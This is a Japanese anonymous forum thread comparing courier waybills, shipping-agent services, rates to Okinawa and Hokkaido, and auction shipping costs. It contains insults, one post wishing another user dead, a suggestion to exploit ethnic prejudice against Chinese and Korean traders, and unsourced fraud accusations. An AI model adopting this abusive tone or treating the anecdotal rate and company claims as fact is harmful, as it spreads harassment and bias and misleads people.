これだけやればそれだけでコストが削減できるよね(^-^)

つまり、パーセルワンの翌日配達をやめればいいと。
送り状は元着代引全部1枚にまとめりゃ良いんじゃね？
第一貨物とかみたいに。

実は第一は結構ある。
だって、あそこは宅配便とは別に一般個建専用の送り状とかもあるから。
一般個建専用の送り状なんて他社にはないぞ。

＞一般個建専用の送り状
名鉄にあったような気が。

第一貨物宅配便元払
一般1個口元払
一般1個口着払
一般複数口元払
一般複数口着払
航空一般1個口元払
航空一般1個口着払
航空一般複数口元払
航空一般複数口着払
路線代引元払
路線代引着払

一般元払の送り状で代引出せるのに、代引専用の送り状あるし、
航空専用の送り状もあるし、一般個建専用の送り状もあるから、
結論から言えば、福山よりひどいよね(^-^)

フクツー宅配便元払
往復宅配便元払
一般元払(実はこれだけで10種類近くある)
一般着払
路線代引
パーセル1元払
パーセル1着払
パーセル1代引

航空の送り状はないから、パーセル1廃止して、一般元払を1種類にすれば、まあ妥当なところだよね(^-^)

福通の一般って10種類もあるの？
パーセルサービス(死語)とそうじゃないやつの2種類だけだと思ってたわ。

>>140
商品欄に「1.EB 2.JP 3.クール」とか書かれた送り状は、
微妙にレイアウトの違う送り状があるから、それ含めれば、10種類近くあるよね(^-^)

あと、特定企業専用の送り状とかあるよね(^-^)
天○屋の宅急便とか(^-^)

>>142
ああ、あるあるw

禿の廃止で「修理はセンドバッグ」なんて言ってるメーカーにもおちおち送り返せませんよね(^-^)

禿パックも普通のゆうパックも大差ないと思うけど？少なくとも俺は。
俺の場合、近所の郵便局へ持ち込みが多いかな。
ってか鮮度バック修理なら店まで持ってけと。

修理センターが家から遠いとか、大きな物は持ち込めませんよね(^-^)

＞大きな物は持ち込めません
アホか。
大きなものは出張修理が基本。
出張料も無料の場合が殆ど。

何なら俺んちのTVの保証書うｐしても良いぞ？

＞大きなものは出張修理が基本

家電は大手はやってるけど、パソコンは大手でもやってないよね(^-^)
パソコンは大手は引き取り修理だけど、それ以外はセンドバッグだよね(^-^)

えーと、確か富士通は32型とか37型の一体型は出張修理しか対応しない。
それ以外はさほど大きくないよ。

>>150
＞32型とか37型の一体型

そういうのは実質家電扱いだよね(^-^)

大手以外ってあれか？
ショップ機か？
奴らはその分安いんだから我慢しろと言いたいわ。

＞実質家電扱い
おい、家電の知識でパソコンは修理できないぞ？

アイオーの周辺機器とかも修理はセンドバッグだよね(^-^)

んなもん家電量販店へ持ってけ。

>>153
そうじゃなくて、その辺は宅配便では送れないからそういう扱いになるんだよ(^-^)
NECとか、そういう大型のものは知らないけど、普通のノートとかだったら、普通に引き取り修理だよ(^-^)

だから家電量販店へ持ってけと。

俺が言いたいのは
宅配便で送れるもの→当然家電量販店でもサービスセンターでも持ち込み出来る
宅配便で送れないもの→出張修理がデフォ

という結論が出ましたので、この話題はここで終了しましょう(^-^)

ところで、トムスが315円引き落とし手数料を取るとか言ってることについて議論しましょう(^-^)

まあ藻前の言う事も一理ある。
24インチのモニターのスイッチが潰れて、保障期間内だけどセンドバックで送料かかる上にその間使えないのが大問題だから自前で修理。
といってもスイッチ取っ払っただけだけどw
こういう奴も世の中には居る訳だわ。

>>159
口座振替に払ってる手数料って明らかに315円よりずっと安いだろうね。

(名鉄以下は知らんけど)大手運送会社なら口座引き落としあるけど、
引き落とし手数料なんて取ってるところはないよね(^-^)
それどころか、銀行振り込みでも振り込み手数料差し引いていい事になってるしね(^-^)

俺は集金だから知らんけど
＞銀行振り込みでも振り込み手数料差し引いていい事になってる
これに関しては運送会社に限らず大手企業は確かにそう。

ポイントを買えば引き落とし手数料はなくなるよね(^-^)
そういや、禿本スレでもPREXPRESSが話題になっていたけど、
ここは今はポイント制(笑)なんだよね(^-^)

トムスといい101配送といいPREXPRESSといい、どうして発送代行業者は円天ごっこが好きなんでしょうね？(^-^)

101配送は最低として、PREXPRESS使った事無いのに炎天ごっこwと騒ぐか？
あれはポイント制だけどポイント購入手数料は無料だからその都度1回分だけ買えばなんのリスクも無い。
口座情報(届出印)とか預けないからむしろトムスより安全かも。

PREXPRESSの問題はポイントじゃなくて、むしろ中継地域には一切発送不可てトコじゃない？

佐川の中継＝離島だから全く問題はないよね(^-^)

しかしPRESXPRESSの有料会員になる奴はモノホンの馬鹿
あんなの、月１０出ないと元が取れない。

>>167
ヒント：沖縄
と思ったら本島は+500円でいけるようになったのか。

それを言ったら、オークションストアで用意されている西濃の大口の方がひどいよね(^-^)
中継区域発送不可だから(^-^)
佐川と違って、西濃の中継は離島以外にも結構あるのにね(^-^)

>>169
沖縄本島は直配だけど、契約しないと飛脚航空便のみの発送になるからバカ高になるし、
仮に契約で船便契約できたとしても、本州・四国・九州・北海道みたいに安くならないから、
結局安くならないんだよね(^-^)

佐川発送のストアが沖縄バリ高なのはそういう理由だよ(^-^)

>>170
ははは、そりゃ最低だわw
どんな契約なんだと。
藻前の契約は中継料は運賃と相殺だろ？

>>171
そうじゃなくて、昔はあれは沖縄本島発送不可だった。

>>172
1社目は無料で、2社目以降は運賃と相殺で、運賃より中継料の方が多ければ、超えた分は負担だよ(^-^)
超えたことはないけどね(^-^)

なんでこんなに小銭に執着するんだろう
高く売れた商品の送料をサービスしたりする俺には理解不能だな

机とか普通に送ったら3000円は軽くかかるので小銭じゃないよね(^-^)

その机いくらで売れたの？

落札価格+送料の合計で3000円以下だよね(^-^)
ということは、ヤマト便やらくらく家財宅急便で送ってたら、1円でも売れてないよね(^-^)

ああやっぱゴミか
確かに送料安くないと売れないだろうな

机のカテを見てもらえばわかるけど、ストアとか業者は送料込みだし、
個人は手渡し希望が多いから、個人は手渡ししない限りまともな値段はつかないよね(^-^)

送料込み3000円以下みたいなボランティア価格がまともな値段かね

俺なら梱包の手間がめんどくさいからとりあえず高値で出品しといて
机はそのまま使うけどな

もし落札されたら送ればいいだけだし
早漏出品者が我慢できずに焦って安値で売り捌くよりいくらか有益のような気がする

ブラウン管、机みたいな梱包めんどくさいのなんて
よく拾ってきて販売するわ。

その時間を他につかったほうが儲かるのにな。
容積換算の計算できないおじさんには理解できないのだろう。

CRTディスプレイや机は普通に発送すれば送料の高い物の実例で上げただけだよね(^-^)
どっかの誰かが言ってた同人誌なんて、送料安くても自慢にもならないしね(^-^)

まああんたが納得して好きでやってるならそれでいいよ
俺が売ってるテレカや本やCDより手間がかかって利益が薄い点は不憫だとは思うが

CRTディスプレイや机はただの不要品処分ですよね(^-^)

あゆちんは100円で仕入れたものを5000円で売ったことがあるよ(^-^)

いきなり40レス飛んでてﾜﾛﾀ

西武運輸って、アクア界のJAQNOですよね(^-^)

ヤマト運輸が隠岐島から完全撤退した件について(^-^)

これで隠岐島が直配区域の大手運送会社は福山通運だけになりましたね(^-^)
ってか、ヤマトの隠岐の島宛の中継会社は福山通運だったりするの？(^-^)

あと、父島からも撤退したね(^-^)

>>190

父島って週３便の船しか無いとこ？
駐在員が居たのに驚く。

週１便だったけ？
荷物を載せるのに出航２日位前に締切があるから、タイミングをハズすと現着まで１０日位かかる。

>>186
５００円で買って４２０００なら　ある

>>192
そう、週1便だよ(^-^)
ヤマトはおがさわら丸到着当日配達で、ゆうパックはおがさわら丸到着翌日配達だったので、
父島宛では一番速い運送会社だったのにね(^-^)

>>193
1万円→90万円もあるよね(^-^)
500円→42000円なんて自慢にならないよね(^-^)

なんという自慢大会

Yahoo!が今、ストア向けにやってる西濃代行を一般向けにやろうとしてるらしいよ(^-^)
これでトムスは完全に終了しましたね(^-^)

＞1万円→90万円もあるよね
なんで品名を書かないんだろう

はいはい相手しないで。どんな形でも構ってもらえて嬉しいんだから。
せっかく基地外が隔離できてるんだから、向こうで実のある話をしよう。

http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/l50

http://www.a7y8.net/index.html

＞事務所周辺の運送会社に直接お問い合わせされている方がおられるようですが、運送会社ではお申し込み頂けませんのでご注意ください。

http://1st.geocities.jp/multi_secret_takuhai/index.html

＞※メールにて運送会社を聞き出し、運送会社に通報しようとする輩がいるようですが、そういった事はおやめいただきますよう、お願いいたします。

ここらもあゆちんの被害にあっているようだな。

アホーが個人向けに西濃代行始めたら、さも西武運輸をヤマト運輸並の会社のように記載してたアホがいたように、
さも西濃運輸をヤマト運輸並の会社のように記載するアホも出てくるんだろうね(^-^)

>>199
何でそんなことをあゆちんがしないといけないのかな？(^-^)
そこらは無断でやってるんだから潰されて当然だよね(^-^)
詐欺の可能性も高いしね(^-^)

>>200

西濃運輸は個人荷を排除する方向にあったんじゃ？

>>202
Yahoo!がYahoo!ゆうパック終了で、従来ストア向けに提供してきた西濃代行を個人向けに提供することを検討していると報道されたよ(^-^)
ストア向けに提供してきた西濃代行は130サイズ20kgまで全国一律490円だから、トムスは完全に終わりましたね(^-^)
これが提供されたら、トムスは倒産しかありませんよね(^-^)

>>202
ついでに、
＞西濃運輸は個人荷を排除する方向にあったんじゃ？

これを言い始めたら、宅配便をやめた西武も同様ですよね(^-^)
むしろ、宅配便をやめた西武の方が個人を排除してるよね(^-^)

西濃代行を個人向けに提供されたら、トムスは倒産危機だから、
「トムス支援金」と称して、従来トムス利用者から寄付を募った方がいいよね(^-^)

西武は明確に宅配を止めると宣言したのに、トムスの存在が　あ〜ぁ　状態になっています。

名無しで潜伏　迷惑

送料の虎のシッタカについて語りましょう(^-^)

http://www.shipping.jp/service/pelikanbin.html

まずはこれ(^-^)
公式には存在するはずの160サイズがありませんね(^-^)
シッタカです(^-^)

http://www.shipping.jp/service/hikyakubin.html

次にこれ(^-^)
佐川の着払いは宅配便の着払いでなく、一般路線の着払いですので、
運賃は宅配便正規運賃と同額ではありません(^-^)

つまり、福山とかと同様、「佐川急便(宅配便)は着払いに対応しておらず、元払いのみの取扱いになります。
しかし着払い希望のお客様には別に着払い専用の送り状（一般貨物料金となり宅配便とは料金が異なる）がある為、
それを代用していただく形で対応可能です」という表記が正しいのです(^-^)

http://www.shipping.jp/service/kangaroo.html

次にこれ(^-^)
「カンガルーミニ便は着払いに対応しておらず、元払いのみの取扱いになります。
しかし着払い希望のお客様には別に着払い専用の送り状（一般貨物料金となり宅配便とは料金が異なる）がある為、
それを代用していただく形で対応可能です」などと記載がありますが、カンガルーミニ便は着払いの送り状があるので、
正規運賃と同額で着払いが可能です(^-^)

着払いがないのは、既に存在しないカンガルー宅配便の方です(^-^)

あと、
「2009年1月 - 「カンガルー便」の名称を「カンガルーミニ便」に」などと書いてますが、
「カンガルー便」なる輸送商品は最初からありません(^-^)
あったのは、「カンガルー宅配便」と「カンガルーミニ便」だけで、
今年の1月からカンガルー宅配便をなくして、カンガルーミニ便に統合しただけです(^-^)
このサイトはずっと「カンガルー宅配便」の事を、「カンガルー便」と記載して、
シッタカをしていたので、シッタカを押し通すつもりなのでしょう(^-^)

http://www.shipping.jp/service/fukutsu.html

次にこれ(^-^)
非常に細かいことなのですが、ジェットオーバーナイトサービスはフクツー宅配便のオプションサービスではありません(^-^)
一般路線のオプションサービスですので、フクツー宅配便の送り状を使用してジェットオーバーナイトサービスは出せませんね(^-^)

http://www.shipping.jp/service/parcel1.html

次にこれ(^-^)
パーセル1の代引きは既にやっておりません(^-^)

http://www.shipping.jp/service/koguma.html

次にこれ(^-^)
既に名鉄は自社の宅配便をやっておりません(^-^)
このページは削除すべきですよね(^-^)

http://www.shipping.jp/service/otodoke.html

次にこれ(^-^)
敢えて規格サイズ段ボール一覧表の記載がなく、ぼかしているので、わかっててやってると思うのですが、
おとどけプロジェクトは容積換算重量適用で、重量制ではありません(^-^)

あと、「要専用伝票」とか記載がありますが、西武運輸もしくは西武航空の一般路線の送り状使用なので、
おとどけプロジェクト専用の送り状があるわけではありません(^-^)

http://www.shipping.jp/service/sagawa_youmail.html

次にこれ(^-^)
佐川の公式HPにもはっきりした事を当時から記載していなかったので、これは佐川も悪いと思うのですが、
「2008年6月 - サイズ体系の変更（3辺170cm→34×25×3.5cm以下）」という部分、
170サイズ3kgまで出せていたのは、ごく初期に契約した荷主だけで、
それ以降に契約した荷主は、契約が2008年6月以前でも、34×25×3.5cm以下という制限付きでしか出せませんでした(^-^)
大半の荷主は契約後にそういう条件でしか出せない旨、言われていました。

実際、あゆちんがそうでしたし(^-^)

http://www.shipping.jp/service/parcel_pack400.html

次にこれ(^-^)
パーセルパックはパーセル1同様、責任限度額は30万円です(^-^)

http://www.shipping.jp/service/nittsu_mail_bin.html

最後にこれ(^-^)
これはあゆちんもはっきりと裏を取ったわけではないのですが、
日通メール便で契約している荷主曰く、
「追跡上、配達完了にならずに紛失した場合や、破損した場合は、責任限度額1万円を上限に補償される」
らしいです(^-^)

ただ、今、日通の公式HP見たら、公式HPから日通メール便が消えてるよね(^-^)
ひょっとして自社メールから撤退したのかな？(^-^)
撤退したとすれば、このページは削除しないといけないよね(^-^)

http://plaza.rakuten.co.jp/tesutamento/diary/20090207/

NITTSUメール便が本当に終わったのかどうか調べてたら、気持ち悪いクレーマーのサイトを発見したよ(^-^)
ブログの書き込みが異常だったので調べたら、やっぱりミンス支持のネットサヨだったよ(^-^)

>219
気持ち悪いクレーマーっておまえのことだろｗ

朝からどうでもいい知識ひけらかして楽しいか？
みんなそんなレスはよく読まずにスクロールさせてるぞ

>>220
じゃあ、このスレは何のために立てたのかな？(^-^)

>221
間違い指摘するならサイトの管理人に言えよボケ。

おまえは単にどうでもいい間違いを指摘して
得意げになってるだけだろ。
朝から時間つかって長文レスかいて、ほんとバカ丸出し。
みじめやね

>>222
いくらサイトの管理人に言っても修正されないからここで書いてるんだよ(^-^)
あのサイト、無能だよね(^-^)
あゆちんに聞いたほうが100倍はまともなアドバイスができるよ(^-^)

ついに発送代行で荷主まで逮捕される事態にまで発展しましたね(^-^)
現在、発送代行詐欺はYahoo!ニュースのトップですよ(^-^)
http://dailynews.yahoo.co.jp/fc/domestic/handicapped_person_mail/?1239886832

長岡郵便局の時は、郵便局が発送代行業者への損害賠償請求訴訟を断念したせいで、
完全に発送代行業者のやり得で終わったからね(^-^)
今回は損害賠償請求訴訟も起こされて、発送代行業者社長の逮捕もされてるし、やり得では終わらないみたいだね(^-^)

なんだかよく分かんないんだけど、
まとめてかけないの？

Yahoo!ゆうパック終了ｗ

>>221
お前いい加減スレチってこと気付よ。

運送業者と値引き契約はできるのに
虎の穴の管理人に修正を促したり公的なアクションは起こせないのな

しかも暴露の場所になんでわざわざ匿名の2chを選ぶのかもよくわからん
自分のやってることによっぽど自信が無いか後ろめたいことが山ほどあるんだろうな

あのおっさんは基本的に自慢厨なんだよ。

自分はこんなことまで知っているという自己顕示欲が
異常に強いから、このスレや知恵袋に常駐しては
些細な間違いを指摘しては、シッタカだと大喜びで叫ぶ。

福山との契約をバカの一つ覚えみたいに自慢するのも
自慢厨の特徴だな。

自己顕示欲強い。自分の間違いは認めない。人の話を聞かない。
他人の間違いは1年以上前で本人がいなくても粘着して持ち出す。
荒らし行為、自慢厨。粘着質。

人間的にどうしようもない要素が目白押し。

はいはい相手しないで。どんな形でも構ってもらえて嬉しいんだから。
せっかく基地外が隔離できてるんだから、向こうで実のある話をしよう。

http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/l50

あのシッタカサイト、そもそも一般路線に対応させたって時点で基地外だろ。

>>232
＞一般路線に対応させた

ヤマト便があるってだけで、対応させてないよね(^-^)
アロー便はどこにあるのかな？(^-^)
佐川や福山や西濃の一般路線はどこにあるのかな？(^-^)

あそこはネットで調べられることしか載せていない究極のシッタカサイトだよ(^-^)
だから、一般路線に限らず、運賃がネットに載ってないNITTSU郵メール便とかフクツーメール便とかカンガルーPostalメール便とかは一切紹介がないしね(^-^)

ネット上で調べられる情報寄せ集めてそれでシッタカサイト作るんじゃ、
大沢ルールの知識以下だよね(^-^)

あと、沖縄宛パーセル1の運賃も調べられないよね(^-^)
ネット(公式HP)には載ってないから(^-^)

パーセル1の沖縄宛は60サイズで関西発で1050円、中部発で1155円、関東発で1260円で、
60サイズ→90サイズは210円増しで、それ以後1サイズ上がるごとには525円増しだよ(^-^)

あ、これもネットで調べられないから載せられませんでしたね(^-^)

早起きですね！！

日通に聞いてみたよ(^-^)

自社メールは撤退してやめたらしいよ(^-^)
ということは、>>218のページは消さないといけないよね(^-^)

あと、アロー便は個人不可になったらしいよ(^-^)
これで実質、容積換算重量180kgを超える荷物は引越便除けば実質的な発送方法はなくなりましたね(^-^)

＞容積換算重量180kgを超える荷物は引越便除けば実質的な発送方法はなくなりましたね
ヤマトに聞いたけど、180kg超えた場合はSDが実際に荷物を見て可能かどうか判断するらしいよ。
つまり、180kg以上は可能な場合と不可能な場合があり、曖昧だからHPに載せていないだけの模様。
あと、引越し便よりは多少安いけど相当高い佐川急便フリーサイズパッケージがあるジャマイカ。

>>237
いい加減スレチどうにかしろって。

基地外に何を言っても無駄
喜ぶだけ

＞相当高い

この時点で論外ですよね(^-^)

早く死ねばいいのに

早起きのあゆちんは、もうおやすみなさいですよ。
　　たぶん！

まだ西濃に買収されてはされてないけど、西濃に買収されたら、赤字のトムスなんて速攻で切られるのは間違いのないところですよね(^-^)
トムスは実運賃400円を下回っている上、これだけ中継区域多いのに中継料は取ってないから、
どう考えても採算あわないのは目に見えてますよね(^-^)

すよね　したね　すよね　だよね

ところで、今、気づいたんだが、「西濃グループはトヨタの子会社」なる超絶シッタカ発言をしている人がいる件について、議論しましょう(^-^)
運輸板の路線・特積スレにも恥ずかしいシッタカ書いてるし(^-^)

確かに西濃グループの子会社には、トヨタのディーラー事業をやってる子会社があるけど、
トヨタのディーラーはトヨタ本体とは何の資本関係もないよね(^-^)
こいつの言ってることは、「読売新聞販売店は読売新聞の子会社」だとか、
「フランチャイズでセブンイレブンを運営してる会社はセブンアンドアイの子会社」だとか言うのと同じだよね(^-^)

こんなレベルの事も知らないなんて、終わってますよね(^-^)

>>229
虎の穴って何ですか？(^-^)
送料の虎の事ですか？(^-^)
キミはマネーの虎でも見て寝てなさい(^-^)

>>246
いい加減スレ違いだって気付よ

>>246

ところで、｢おとどけ｣を請け負う西武運輸の株式のうち90%を西濃ﾎｰﾙﾃﾞｨﾝｸﾞｽが取得した件についての見解は？

>>249
別にコメントはないよね(^-^)
これから閉店ラッシュが始まるだけの話だし(^-^)

なるほど

議論しましょうと言いつつも、実は自慰行為というか
自分が一人で結論に達してしまい満足してしまうと
それ以上続けられないところは相変わらずのワンパターンやね

You Say!廃止になってotodokeプロジェクト（西武運輸）には申し込みしてないのに
毎月「月度西武請求データ更新のお知らせ（トムスコーポレーション）」
ってメールが来てるんだけど
いつになったらこっちの情報破棄してくれんの？

>>253
トムスは退会できないよね(^-^)
退会処理そのもの存在しないから(^-^)
一度登録したら最後、一生トムスに個人情報握られるよね(^-^)

まだいるのか

気になるんやね

そういえば、西武の人が言ってたけど、時間帯指定は2時間単位でも着店チャーターで別料金なんだって(^-^)
つまり、時間帯指定すると、常に福山における東京ビッグサイト状態になるよね(^-^)
福山における東京ビッグサイトはチャーター料金3000円ぐらいしかかからないけど、
西武の場合は、営業所が少ないから、下手すればチャーター料金10000円ぐらいかかる地域も出てくるよね(^-^)

●大阪→宮城(気仙沼市とする) 60サイズ2kg
ヤマト運輸宅急便 18時〜20時指定：950円
西武運輸一般個建(トムス) 18時〜20時指定：525円＋チャーター料金10000円程度＝10525円

ヤマトの10倍を超える運賃になりましたね(^-^)
他社だったら普通にできるサービスがこんなにかかる西武は終了ですね(^-^)

このサイトのサービスを使ってみた。
料金は前払いで100枚45000円から。
送り状は振り込み後1週間程度で届いた。
安いし宅配袋は無料でもらえるし、現時点では最高のサービスだと思う。

http://1st.geocities.jp/multi_secret_takuhai/index.html

さて、そろそろそのサイトも潰しにかかるか(^-^)

宅配袋がタダって事は、この時点で佐川が決定だね(^-^)
送り状が沖縄とそれ以外で違うという点でもわかるし(^-^)

というわけで、佐川に通報しましょう(^-^)
高知県宿毛市という場所が場所だけに、運送会社的にも判明しやすいよね(^-^)
高知県宿毛市在住荷主のの荷主コードで、発送元が高知県宿毛市以外の場所からの発送があれば、そいつってすぐわかるしね(^-^)

>>259
藻前が前に言ってた方法とまったく同じじゃないか。
送り状買取って。
沖縄が異常に高くてそれ以外が普通の運賃って事は、佐川以外ありえないね。
ヤマトならあこまで平均単価下げられないし、第一荷主コードのある送り状があってもカードがないと未収に出来ない。
福通、西濃あたりなら沖縄は船便だからあそこまで暴騰しないだろう。
それ以下の中堅だとまともに全国カバーしてないし。
佐川にも沖縄本島船便はあるけどこいつは航空の契約なんだろうね。
沖縄宛の送り状は飛脚航空便の送り状のはず。

福山の沖縄本島宛は船便一般で5kgで2000円程度〜だよ(^-^)
これは福岡から出そうが、北海道から出そうがどこから出しても一緒の条件だよ(^-^)

ちなみに、福山の一般船便は福岡から週3回月水金の早朝に出てるだけだから、1個口だったら普通の人間は出さないよね(^-^)
北海道からだと福岡に持って行くだけで3日かかるしね(^-^)

■関西発沖縄本島宛パーセル1運賃(翌日午後配達)
パーセルパック：420円
60サイズ：1050円
90サイズ：1260円
100サイズ：1785円
120サイズ：2310円
140サイズ：2835円
160サイズ：3360円

■関西発沖縄本島宛ヤマト宅急便運賃(翌々日配達)
60サイズ：1260円
80サイズ：1790円
100サイズ：2310円
120サイズ：2840円
140サイズ：3360円
160サイズ：3890円

■関西発沖縄本島宛飛脚航空便R-I運賃(翌日午後配達)
60サイズ：1830円
80サイズ：2550円
100サイズ：3770円
140サイズ：5810円
160サイズ：8050円

パーセル1の安さが際だちますね(^-^)

あ、ちなみに言っておくけど、トムスと西武の契約は航空契約でなく急便契約だから、西武航空から出しても一切航空便は使われないよね(^-^)

西武航空の送り状を見たらわかるけど、左上に「航空・急便」とかいう選択肢があるよね(^-^)
トムスとの契約は航空でなく急便だから、航空では一切発送ないよね(^-^)

あんたそのうちニュースで名前聞くことになりそうだな・・

>>258 そこは怪しすぎて使う気が起こらんな。
詳細な住所の記載なし、連絡先がフリーメール、じゃまともな会社じゃないだろうし、45000前払いはリスク高すぎる。

>>264
うちは航空便で送ってるみたいだった
航空便だからちゃんと梱包してねって言われた

>>258
こういうの宣伝しに来るやつってたいがい内部のやつなんだよな
で、ある程度金がたまったらとっとととんずらｗ誰も引っ掛からねーって
こんな得体の知れない会社に45000円も先払いできるかよ


＞※メールにて運送会社を聞き出し、運送会社に通報しようとする輩がいるようですが、
＞そういった事はおやめいただきますよう、お願いいたします。

客に向かって輩てｗｗｗ

>>267
証拠(追跡データ)見せてね(^-^)
路線距離1000km以上翌日配達で航空便と判断するから(^-^)
今まで証拠を見せろと言っても、見せないハッタリが多いからね(^-^)

関西発なら、北海道と北東北と沖縄、関東発なら、九州と北海道と沖縄が路線距離1000km以上だよ(^-^)
さあ、見せてね(^-^)

佐川の「全国配達主義」とか書かれたエリア表には、陸便と飛脚スーパー便と飛脚航空便のR-IとR-IIの日数が書かれてたけど、
陸便はだいたい900km圏内(大阪発なら山形宮城宮崎鹿児島あたり)が1.5日(翌日午後)で翌日配達、
飛脚スーパー便はそれプラス1000km〜1200km圏内(北東北)が1.5日で全域翌日配達だよ(^-^)
飛脚航空便のR-Iは一部の離島を除き、日本全国対応(離島でも石垣島あたりならR-I対応している)なのに対し、
R-IIの方は対応地域が限定的だったよね(^-^)

中継の多い運送会社は航空便使っても飛脚スーパー便に勝てることはありませんね(^-^)
関西→北東北は西武航空の航空便使っても中継区域が多すぎて翌日配達地域が限定されるし、
パーセル1でもそこそこ中継区域があるからそれなりに限定されるしね(^-^)
ゆうパックの航空便翌日配達は県庁所在地＋その周辺のみだから、話にならないしね(^-^)
確かに宅急便タイムサービスのように金かければどうにかなるかもしれないけど、飛脚スーパー便はタダだしね(^-^)

締切時間にもよるな
0時締めで鹿児島〜道央まで翌日配達のゆうパック・エクスパック最高

福山なんて会社本当に実在するのか

>>272
スレ違いですよね(^-^)

ゆうパックは道央翌日配達じゃなくて、札幌及びその周辺だけなので、道南含めほとんどの地域で翌日配達になりませんよね(^-^)
鹿児島も同様ですよね(^-^)

EXPACK？
あんなのパーセルパック以下の代物ですよね(^-^)

■EXPACK
運賃：500円
補償：なし
配達日指定：なし
時間帯指定：なし
着払い：なし
送り状：なし(控えなし)

■パーセルパック400
運賃：420円
補償：上限30万円
配達日指定：可能
時間帯指定：+315円(公式データ)
着払い：可能
送り状：あり(控えあり)

控えの有無と、補償の差は大きいよね(^-^)

だいたい、0時締め当日発送ってどこの地域？(^-^)
佐川福山で言う路線発着店みたいな、地域限定に近いようなサービスじゃないの？(^-^)
18時集荷で関東関西間当日発送じゃなかったですけど？(^-^)＞ゆうパック
神奈川県鎌倉市発ですけどね(^-^)

佐川あたりは鴻池センターとか西日本ハブセンターとかは、ほとんどの地域で0時でも当日発送ですよね(^-^)
あと、ゆうゆう窓口は全廃の予定なのに、どうやってこれから0時に出すのかな？(^-^)

それから、ヤマトなんて、コンビニ午前6時出しで当日配達だよ(^-^)
知ってた？(^-^)

18時集荷で関東関西間当日発送じゃないゆうパック(笑)
午前0時って、どこでやってるサービスですか？(^-^)

飛脚スーパーは大阪市内なら12時持ち込みで1200km圏内完全翌日配達だよ(^-^)
集荷なら10時ぐらいだね(^-^)

ゆうパックは1000km超えたあたりで航空便になって、翌日配達は県庁所在地とその周辺だけだから、
完全翌日配達の飛脚スーパーとは明らかな差が出ますよね(^-^)

>>272
禿パックがなくなって、糞高くなってゆうゆう窓口全廃のゆうパックをこれからも使い続けてくださいね(^-^)

■関西→北海道 160サイズ
ゆうパック：2200円(札幌及びその周辺が1日、それ以外は2日)
福山通運(あゆちん契約)：420円(釧路/帯広/北見営業所着が2〜3日程度で、それ以外は2日。中継区域は日祝除き+1日かかる場合あり)

1日程度しか変わらないのなら、日数より運賃ですよね(^-^)

切手を2割で入手すれば実質440円であゆちん並の運賃になりますよね(^-^)
でも切手を2割で入手できるのなら、ゆうパックに使わずに、金券ショップを運営しますね、あゆちんなら(^-^)

>>279
お前馬鹿だろ？
平均単価で計算しろよ。

>>280
平均単価で計算しても、5割入手程度でないと厳しいですよね(^-^)

平均単価800円程度で計算したけど、
宅配便を全国一律設定にしたら、3割ぐらいは北海道宛になるから、
切手5割入手でも厳しいかもね(^-^)

■関西→北海道 60サイズ
ゆうパック：1200円
福山通運(あゆちん契約)：420円

今からあゆちんがさまざまな板でタイミングを逃したなどの理由で書き損ねた書き込みを転載しましょう(^-^)

これは競馬関連の板で書き損ねたのでなく、ずいぶん前にYahoo!ニュースのコメント欄で書き損ねた書き込みだよ(^-^)

地方競馬を開催する主催者には、「競馬票」という一定の票が存在するんだよね。
これは競馬豚が持ってる票なのだが、昨今、地方競馬の経営が厳しいので、大半の主催者では存廃議論が活発に行われているのだが、
その存廃に関する方針や主張で、競馬票をどの程度獲得できるかどうかが決まり、下手すれば、当落にまで影響すると言われている。

例えば、道営競馬を例に取れば、毎年10億円程度の赤字を出している道営競馬を廃止するかどうかを最終的に決めるのは、北海道知事なのだが、
仮に、現北海道知事(高橋はるみ知事)が任期中に道営競馬の廃止を決定したとすれば、競馬票の全てを失うこととなり、
北海道知事選での再選は難しいと言われている。

これはokallllllスレでの書き損ねだよ(^-^)

フクツーメール便、配達不可対処事例。

■ケース1
ポストに「転居」と記載がある。

クロネコメール便なら即、返送の事例である。
普通郵便でも、転居届が出されていなければ、返送の可能性が高い。
「福山通運より荷主へ対応をFAX→落札者へ連絡→落札者よりそのまま配達してよいという返事あり→福山通運にそのまま配達するように連絡→そのまま配達」という対応になり、無事配達完了。

■ケース2
宛先はビル内のテナント(実店舗)。
しかし、シャッターが下りており、シャッターポストも含め、一切ポストが無く、配達不可能。

おそらく、テナントの休業日か営業時間外に配達に行ったためと思われる事例。
クロネコメール便なら、おそらく、シャッター前にメール便を放置して配達と思われる。
普通郵便なら、シャッターの隙間に不在連絡票を挟み込むという対応になると思われる。
本来、契約により、「ポストに入らない場合は、手渡し配達で、不在の場合は不在連絡票投函」となっているが、ポスト自体がない場合の対応は契約で決まっていない。
「福山通運より荷主へ対応をFAX→落札者へ連絡→落札者よりもう1度配達してくださいと返事あり→福山通運にもう1度配達するように連絡→もう1度配達」という対応になり、2回目の配達で無事配達完了。

■ケース3
メール便記載の苗字と、宛先のポスト記載の苗字が違う。

クロネコメール便なら即、返送の事例である。
普通郵便でも、転居届が出されていなければ、返送の可能性が高い。
これもケース1同様、「福山通運より荷主へ対応をFAX→落札者へ連絡→落札者よりそのまま配達してよいという返事あり→福山通運にそのまま配達するように連絡→そのまま配達」という対応になり、無事配達完了。

スレ立てのタイミングを逃したと思われる書き損ねだよ(^-^)

2chオークション板のebayスレでトラブルの相談をしたら、理不尽な回答を受けて叩かれた人、集まれ！

あそこにいる回答者はアメリカ擁護のネットウヨなので、明らかにアメリカ人側が悪くても、
日本人側が悪いような回答しかしてきません。
必ず、質問する際は、こちらが叩かれないように、取引相手が中国人か韓国人であることを強調しましょう。
これで日本人擁護の回答が返ってきます。

>>286
アメリカ擁護のネットウヨwww
そんなやついたら連れてこいや基地外さんよぅ

>>269
うちは航空便で送ってるみたいだった
航空便だからちゃんと梱包してねって言われた

>>288
証拠を見せない発言は全てハッタリと見なします(^-^)
宅配/一般の証拠なんて、追跡以外ではあり得ないですよね(^-^)

証拠はこれで行きましょう(^-^)

路線距離1000km以上での翌日朝〜昼前後着店到着追跡データ
もしくは
路線距離800km〜900kmでの翌日早朝着店到着追跡データ

600km〜700kmは証拠にならないからダメね(^-^)
大半の運送会社で陸便翌日午前配達できるから(^-^)

あゆちんは以前、1600km圏内(大阪→北海道旭川市)の証拠(翌日着店到着)を見せたよね(^-^)
証拠を見せられない発言は全て今日全国に恥を晒したナムラベンケイ、じゃなくて、ネット弁慶と判断するから(^-^)

あゆちん乙

話は楽しませていただいてますよ(^^)

Comic1儲かったわ

300円で買ったもんが6000円に化けるし、それがループし放題だから止められんわな
